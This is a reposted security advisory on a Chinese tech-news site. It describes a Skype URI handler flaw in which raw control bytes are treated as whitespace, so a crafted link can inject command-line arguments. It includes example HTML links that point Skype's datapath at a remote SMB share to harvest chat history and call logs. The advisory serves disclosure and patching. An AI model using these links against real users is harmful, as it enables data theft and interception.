当前位置:七道奇文章资讯安全技术网络技术
日期:2010-03-14 11:57:00  来源:本站整理

Skype - URI Handler Input Validation[网络技术]

赞助商链接



  本文“Skype - URI Handler Input Validation[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

测试办法:
本站供应程序(办法)大概带有攻击性,仅供安全研究与讲授之用,风险自负!Description
The Windows Skype client implements two URI handlers, Skype: and Skype-Plugin. Both handlers allow for easy browser integration and are supported by all modern browsers. When a Skype link is clicked, the Skype.exe process is spawned with the /URI: command argument, followed by the user specified phone number or contact name.
For example, clicking the link: Skype:PaulCraig will spawn the process Skype.exe “/URI:Skype:paulcraig“
 
Due to a flaw in the current user input validation performed by Skype, it is possible to append additional command line arguments which are subsequently processed during the launch of Skype.exe.
In 2006 colleague Brett Moore, discovered a similar vulnerability in Skype which led to certain security restrictions being enforced when using the Skype: URI handler. Brett’s exploit at the time involved including additional command line arguments to the Skype.exe process which would send a file to a remote user when a Skype link was clicked. Changes were made to Skype to remove available command line arguments when the /URI argument is present.
Although many of the useful arguments have been disallowed (such as sending a file to a remote user)
Security-Assessment.com found that the /Datapath argument can be included and directed to a remote SMB share directly through the Skype URI handler. The Datapath argument specifies where the Skype configuration files and security policy is kept. Specifying a Datapath argument will override any local security policy defined in the Windows registry.
A remote user is capable of crafting a link that when clicked, will spawn Skype.exe on a client using a Datapath location which is present on a remote SMB share. The Skype client will load any configuration or security policy present and save the users Skype account information to the remote share.
This allows a remote user to control the Skype configuration and security policy of the local client instance of Skype. Settings such as a remote proxy can be defined, which could be used to Man In the Middle Skype communications.
 
Security-Assessment.com also found that the contents of another user’s Datapath contained a wealth of private information and call history associated with the user.
 
Exploitation
 
Exploitation occurs when the victim clicks a malformed Skype link in Internet Explorer (6,7 or 8) or Chrome. The exploit originates from a failure to sanitise raw binary content correctly, and the ability of ShellExecute() to permit URIs which contain raw binary values.
Security-Assessment.com found that the Skype: URI handler permits the double quote and forward slash (“ and /) characters within a Skype URI, but does not permit any whitespace characters (such as space, %20, +) to be included. This essentially protects Skype from a user inserting additional command line arguments directly within the Skype: link, as a command line argument separator character (whitespace) cannot be included. However, the use of a raw binary byte is permitted by Skype and the byte is subsequently treated as a whitespace value when parsing Skype.exe command line arguments. This provides a whitespace character, without being a traditional whitespace. This method of whitespace character injection can be used to include additional command line arguments to the Skype.exe process.
 
The example below illustrates this.
 
<a href=skype:A"0x01/secondary0x01/datapath:"\\remotehost\share\exploit>Click Me</a>
 
Where 0x01 represents the RAW binary byte value 0x01.
 
This URL will result in the Skype configuration being retrieved from the remote host ‘remotehost’. Once a user has authenticated using Skype, the Skype client will download their chat history and call logs to the remote share.
Other arguments such as /username and /password can also be included using the same method of whitespace injection. This is illustrated below.
 
<a href=skype:A"0x01/secondary0x01/username:"test”0x01/password:”test>Click Me</a>
 
The bytes 0x01-0x07 were found to function as a replacement for a whitespace character.
 
Recommendations
 
Skype have created a fix for this vulnerability which has been included as part of Skype v4.2 hotfix #1.
Security-Assessment.com recommends all users of Skype upgrade to the latest version as soon as possible.
 

[1] [2]  下一页


  以上是“Skype - URI Handler Input Validation[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • Windows8激活办法 用Skype免费打英国电池激活的办法教程(图文)
  • 办理Ubuntu安装Cairo-Dock后Skype视频无法显示的问题
  • Skype - URI Handler Input Validation
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .